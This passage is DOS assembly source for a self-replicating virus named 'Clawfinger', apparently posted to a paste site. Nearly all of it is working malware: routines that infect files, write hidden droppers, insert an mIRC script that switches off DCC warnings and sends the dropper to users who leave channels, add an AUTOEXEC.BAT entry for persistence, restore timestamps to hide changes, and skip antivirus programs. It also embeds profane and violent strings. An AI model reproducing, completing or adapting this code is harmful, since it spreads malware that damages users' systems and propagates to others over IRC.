  951.                 JAE     Restore_DTA
  952.  
  953.                 CALL    Touch_File              ; Infect the fucker.
  954.  
  955. Trash_Loop:     MOV     AH, 4Fh                 ; Findnext file.
  956.                 INT     21h
  957.                 JNC     Infect_Find
  958.  
  959. Restore_DTA:    MOV     AH, 1Ah                 ; Restore original DTA.
  960.                 POP     DS
  961.                 POP     DX
  962.                 INT     21h
  963.  
  964.                 POP     ES
  965.                 POP     DS
  966.  
  967.                 RETN
  968.  
  969.  
  970. ;-----------------------------------------------
  971. ; Adds a new remote-script to MIRC.INI and puts
  972. ; a infected dropper in the mIRC-directory.
  973. ;-----------------------------------------------
  974. Infect_mIRC:
  975.                 CALL    Hook_Int24h
  976.  
  977.                 PUSH    BX
  978.                 PUSH    ES
  979.  
  980.                 PUSH    CS
  981.                 POP     ES
  982.  
  983.                 MOV     AH, 5Bh                 ; Create virusscript-file.
  984.                 XOR     CX, CX
  985.                 MOV     DX, OFFSET Vir_Script_Name
  986.                 INT     21h
  987.                 JC      JC_Exit_Inf             ; Already installed?
  988.  
  989.                 PUSH    DX
  990.  
  991.                 XCHG    BX, AX
  992.  
  993.                 ; Write virusscript to file.
  994.  
  995.                 MOV     CX, (End_Virus_Script - Virus_Script)
  996.                 MOV     DX, OFFSET Virus_Script
  997.                 CALL    Write_File
  998.  
  999.                 MOV     AH, 3Eh                 ; Close virusscript-file.
  1000.                 INT     21h
  1001.  
  1002.                 ; Make readonly & hidden.
  1003.  
  1004.                 POP     DX                      ; OFFSET Vir_Script_Name
  1005.                 CALL    Protect_File
  1006.  
  1007.                 ; Create binary virusdropper.
  1008.  
  1009.                 MOV     DX, OFFSET Dropper_Name
  1010.                 CALL    Create_Dropper
  1011.                 JC      JC_Exit_Inf
  1012.  
  1013.                 ; === Infect mIRC MIRC.INI datafile. ===
  1014.  
  1015.                 MOV     DX, OFFSET MIRC_INI
  1016.                 CALL    Save_File_Attr
  1017.                 JC      Infect_Autoexec_Bat
  1018.  
  1019.                 MOV     AX, 3D92h               ; Open MIRC.INI file for
  1020.                 INT     21h                     ; reading/writing.
  1021. JC_Exit_Inf:    JC      Infect_Autoexec_Bat
  1022.  
  1023.                 XCHG    BX, AX                  ; BX = filehandle.
  1024.  
  1025.                 MOV     AH, 3Fh                 ; Read MIRC.INI file.
  1026.                 MOV     CX, Chunk
  1027.                 MOV     DX, OFFSET Buffer
  1028.                 INT     21h
  1029.  
  1030.                 CMP     AX, CX                  ; File too large for our
  1031.                 JNB     Close_File_mIRC         ; buffer?
  1032.  
  1033.                 XCHG    BP, AX
  1034.  
  1035.                 MOV     DI, DX                  ; DI = offset Buffer.
  1036.  
  1037. Find_rfiles:    PUSH    DI
  1038.  
  1039.                 MOV     SI, OFFSET rfiles
  1040.                 MOV     CX, (8 / 2)
  1041.                 CLD
  1042.                 REPE    CMPSW
  1043.  
  1044.                 POP     DI
  1045.  
  1046.                 INC     DI
  1047.  
  1048.                 LEA     AX, [BP+Buffer]
  1049.  
  1050.                 CMP     DI, AX                  ; Not here?
  1051.                 JA      Close_File_mIRC
  1052.  
  1053.                 OR      CX, CX                  ; '[rfiles]' found?
  1054.                 JNZ     Find_rfiles
  1055.  
  1056.                 MOV     AL, '['                 ; Find next settings,
  1057.                 MOV     CH, 0FFh                ; thus end of [rfiles].
  1058.                 CLD
  1059.                 REPNE   SCASB
  1060.  
  1061.                 MOV     AL, '='                 ; Find last item.
  1062.                 MOV     CH, 0FFh
  1063.                 STD
  1064.                 REPNE   SCASB
  1065.  
  1066.                 CLD
  1067.  
  1068.                 MOV     AL, [DI]                ; Get "last" script-number.
  1069.                 INC     AX                      ; Calculate our script#.
  1070.  
  1071.                 CMP     AL, '9'                 ; Safety-check, coz this
  1072.                 JA      Close_File_mIRC         ; routine is a bit hardcoded.
  1073.  
  1074.                 MOV     BYTE PTR Define_Script+1, AL
  1075.  
  1076.                 MOV     AX, 0A0Dh               ; <CR> & <LF>.
  1077.  
  1078. Find_End:       DEC     DI                      ; Find end
  1079.  
  1080.                 SCASW
  1081.                 JNE     Find_End
  1082.  
  1083.                 MOV     AX, 4200h               ; Go to position where we
  1084.                 XOR     CX, CX                  ; insert our virus-script
  1085.                 LEA     DX, [DI-(Buffer-Start)] ; declaration.
  1086.                 INT     21h
  1087.  
  1088.                 CALL    Save_File_Stamp
  1089.  
  1090.                 ; Write our virusscript-declaration.
  1091.  
  1092.                 MOV     CX, (End_Define_Script - Define_Script)
  1093.                 MOV     DX, OFFSET Define_Script
  1094.                 CALL    Write_File
  1095.  
  1096.                 ; Append rest of original MIRC.INI file.
  1097.  
  1098.                 LEA     CX, [Buffer+BP]
  1099.                 SUB     CX, DI
  1100.                 MOV     DX, DI
  1101.                 CALL    Write_File
  1102.  
  1103.                 CALL    Restore_File_Stamp
  1104.  
  1105. Close_File_mIRC:
  1106.  
  1107.                 MOV     AH, 3Eh                 ; Close file.
  1108.                 INT     21h
  1109.  
  1110.                 CALL    Restore_File_Attr
  1111.  
  1112.  
  1113.         ; === Add a reference to a dropper in the AUTOEXEC.BAT. ===
  1114.  
  1115. Infect_Autoexec_Bat:
  1116.  
  1117.                 ; Create a infected dropper in the root.
  1118.  
  1119.                 MOV     DX, OFFSET Autoexec_File
  1120.                 CALL    Create_Dropper
  1121.                 JC      Exit_Inf_Auto
  1122.  
  1123.                 MOV     AX, 3D91h               ; Open AUTOEXEC.BAT for
  1124.                 MOV     DX, OFFSET Autoexec_Bat ; writing.
  1125.                 INT     21h
  1126.                 JC      Exit_Inf_Auto
  1127.  
  1128.                 XCHG    BX, AX
  1129.  
  1130.                 CALL    Go_EOF
  1131.  
  1132.                 MOV     CL, 3                   ; Append call to dropper.
  1133.                 MOV     DX, OFFSET Call_Dropper
  1134.                 CALL    Write_File
  1135.  
  1136.                 MOV     AH, 3Eh                 ; Close AUTOEXEC.BAT.
  1137.                 INT     21h
  1138.  
  1139. Exit_Inf_Auto:  MOV     AX, 2524h               ; Restore original INT 24h.
  1140.                 POP     DS
  1141.                 POP     DX
  1142.                 JMP     OldInt21h
  1143.  
  1144.  
  1145. Create_Dropper:
  1146.                 ; Create binary virusdropper.
  1147.  
  1148.                 MOV     AH, 5Bh
  1149.                 XOR     CX, CX
  1150.                 INT     21h
  1151.                 JC      Exit_Create_Dropper
  1152.  
  1153.                 PUSH    DX
  1154.  
  1155.                 XCHG    BX, AX
  1156.  
  1157.                 ; Write uninfected dropper-file.
  1158.  
  1159.                 MOV     CL, (End_Dropper - Dropper)
  1160.                 MOV     DX, OFFSET Dropper
  1161.                 CALL    Write_File
  1162.  
  1163.                 MOV     AH, 3Eh                 ; Close dropper.
  1164.                 INT     21h
  1165.  
  1166.                 POP     DX                      ; OFFSET Dropper_Name
  1167.                 CALL    Protect_File
  1168.  
  1169.                 CALL    Touch_File              ; Infect the fucker.
  1170.  
  1171.                 CLC
  1172.  
  1173. Exit_Create_Dropper:
  1174.  
  1175.                 RETN
  1176.  
  1177.  
  1178. Save_File_Stamp:
  1179.  
  1180.                 MOV     AX, 5700h
  1181.                 CALL    OldInt21h
  1182.  
  1183.                 MOV     CS:File_Time, CX
  1184.                 MOV     CS:File_Date, DX
  1185.  
  1186.                 RETN
  1187.  
  1188.  
  1189. Restore_File_Stamp:
  1190.  
  1191.                 MOV     AX, 5701h
  1192.                 MOV     CX, 0000h
  1193. File_Time       =       WORD PTR $-2
  1194.                 MOV     DX, 0000h
  1195. File_Date       =       WORD PTR $-2
  1196.                 JMP     OldInt21h
  1197.  
  1198.  
  1199. Write_File:
  1200.                 MOV     AH, 40h
  1201.                 JMP     OldInt21h
  1202.  
  1203. ; Dropper file which will be infected by the virus, and passed over mIRC.
  1204. Dropper:
  1205.                 NOP
  1206.                 INT     20h
  1207.  
  1208.                 DB      'Enter password: ', '$'
  1209.                 DB      '0123456789ABCDEF'
  1210.  
  1211. End_Dropper:
  1212.  
  1213.                 ; Cops/AVers.
  1214.  
  1215.                 DB      'Fuck the pigs!', 0
  1216.  
  1217. Winshit_COM     DB      'C:\WINDOWS\WIN.COM', 0
  1218.  
  1219. TBAV_CRC_File   DB      'ANTI-VIR.DAT', 0
  1220.  
  1221. Vir_Script_Name DB      'C:\MIRC\MIRC_SYS.INI', 0
  1222. Dropper_Name    DB      'C:\MIRC\CYBER.COM', 0
  1223. MIRC_INI        DB      'C:\MIRC\MIRC.INI', 0
  1224. rfiles          DB      '[rfiles]'
  1225.  
  1226.                 DB      'Coded-Sep-Oct-1998', 0
  1227.  
  1228.  
  1229. Define_Script:
  1230.                 DB      'n#=mirc_sys.ini', 0Dh, 0Ah
  1231. End_Define_Script:
  1232.  
  1233.  
  1234. Virus_Script:
  1235.                 DB      '[script]', 0Dh, 0Ah
  1236.                 DB      'n0=on *:start: { .writeini $mircini warn fserve off | .writeini $mircini warn dcc off | .writeini $mircini fileserver Warning Off | .sreq -m auto | .saveini }', 0Dh, 0Ah
  1237.                 DB      'n1=ctcp *:dcc send:*: { if ($3 == cyber.com) { .halt } }', 0Dh, 0Ah
  1238.                 DB      'n2=on *:join:#: { if (help isin $chan) { .part $chan } }', 0Dh, 0Ah
  1239.                 DB      'n3=on !*:part:#: { if ($rand(0, 5) == 0) { .timer 1 60 { .dcc send $nick c:\mirc\cyber.com } } }', 0Dh, 0Ah
  1240. End_Virus_Script:
  1241.  
  1242.  
  1243. No_Infect_Table DW      'BT'    ; ThunderByte utilities.
  1244.                 DW      '-F'    ; F-Prot.
  1245.                 DW      'CS'    ; SCAN.
  1246.                 DW      'VI'    ; Invircible utilities.
  1247.                 DW      'IF'    ; FINDVIRU.
  1248.                 DW      'MI'    ; Integrity Master.
  1249.                 DW      'IV'    ; VIRSCAN, VIRUSCAN.
  1250.                 DW      'AN'    ; NAV.
  1251.                 DW      'ON'    ; NOD-Ice.
  1252.                 DW      'VA'    ; AVP.
  1253.                 DW      0       ; (No girafe in here, hehe).
  1254.  
  1255.  
  1256. Autoexec_Bat    DB      'C:\AUTOEXEC.BAT', 0
  1257. Autoexec_File   DB      'C:\', 255, '.COM', 0
  1258.  
  1259. Call_Dropper    DB      255, 0Dh, 0Ah
  1260.  
  1261. ComSpec         DB      'COMSPEC='
  1262. File_Spec       DB      '*.*', 0
  1263.  
  1264.  
  1265. Warfair         DB      'Do you know how it feels to be down in the dirt '
  1266.                 DB      'with a bullet in yer breast and blood on yer shirt '
  1267.                 DB      'Lying in a bloodpool down in a pit '
  1268.                 DB      'covered with the corpse and the blood and the shit '
  1269.                 DB      'How does it feel to have a gun at yer head '
  1270.                 DB      'when ya know that you''d be much better off dead '
  1271.                 DB      'Freedom has a price and that price is blood '
  1272.                 DB      'so chase the motherfucker right down in da mud ', 0
  1273.  
  1274.                 DB      '[ WARFAIR - CLAWFINGER ]'
  1275.  
  1276.  
  1277. ; Original bytes of host.
  1278. Host_Bytes      DW      'ZM'
  1279.                 DW      0
  1280.                 DW      0
  1281.                 DW      0
  1282.                 DW      0
  1283.                 DW      0
  1284.                 DW      0
  1285.                 DW      0
  1286.                 DW      0
  1287.                 DW      0
  1288.                 DW      OFFSET Carrier
  1289.                 DW      0
  1290. End_Encrypted:
  1291.  
  1292. ENUNS_Block     DB      7 DUP(0)
  1293.  
  1294. Virus_End:
  1295.  
  1296. Header          DB      24 DUP(0)
  1297.  
  1298. Temp_Buffer     DB      24 DUP(0)
  1299.  
  1300. Int21h          DW      0, 0
  1301. Int24h          DW      0, 0
  1302.  
  1303. Infects         DB      0
  1304. File_Name       DW      0, 0
  1305.  
  1306. New_DTA         DB      128 DUP(0)
  1307.  
  1308. Buffer:
  1309.  
  1310.  
  1311. ;-------------- VARIOUS STRUCTURES ------------------------------------------
  1312.  
  1313. COM_Header      STRUC
  1314. Jump            DB      0
  1315. Displacement    DW      0
  1316. COM_Header      ENDS
  1317.  
  1318.  
  1319. EXE_Header      STRUC
  1320. EXE_Mark        DW      0       ; Marker valid .EXE-file: MZ or ZM.
  1321. Image_Mod_512   DW      0
  1322. Image_512_Pages DW      0
  1323. Reloc_Items     DW      0
  1324. Headersize_Para DW      0
  1325. Min_Mem_Para    DW      0
  1326. Max_Mem_Para    DW      0
  1327. Program_SS      DW      0
  1328. Program_SP      DW      0
  1329. Checksum        DW      0
  1330. Program_IP      DW      0
  1331. Program_CS      DW      0
  1332. Offs_RelocTable DW      0
  1333. Overlay_Number  DW      0
  1334. Undocumented    DW      0
  1335. Unused          DW      0
  1336. EXE_Header      ENDS
  1337.  
  1338.  
  1339. ENUNS_Format    STRUC
  1340. Stupid_Bullshit DB      5 DUP(0)
  1341. ENUNS_Checksum  DW      0
  1342. ENUNS_Format    ENDS
  1343.  
  1344.  
  1345.  
  1346. ; The host of this infected file.
  1347. Carrier:
  1348.                 PUSH    CS
  1349.                 POP     DS
  1350.  
  1351.                 MOV     AH, 09h
  1352.                 MOV     DX, OFFSET Warning_Msg
  1353.                 INT     21h
  1354.  
  1355.                 MOV     AX, 4C00h
  1356.                 INT     21h
  1357.  
  1358. Warning_Msg     DB      'Infected with the Clawfinger virus!', 0Ah, 0Dh, '$'
  1359.  
  1360.                 END     START
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement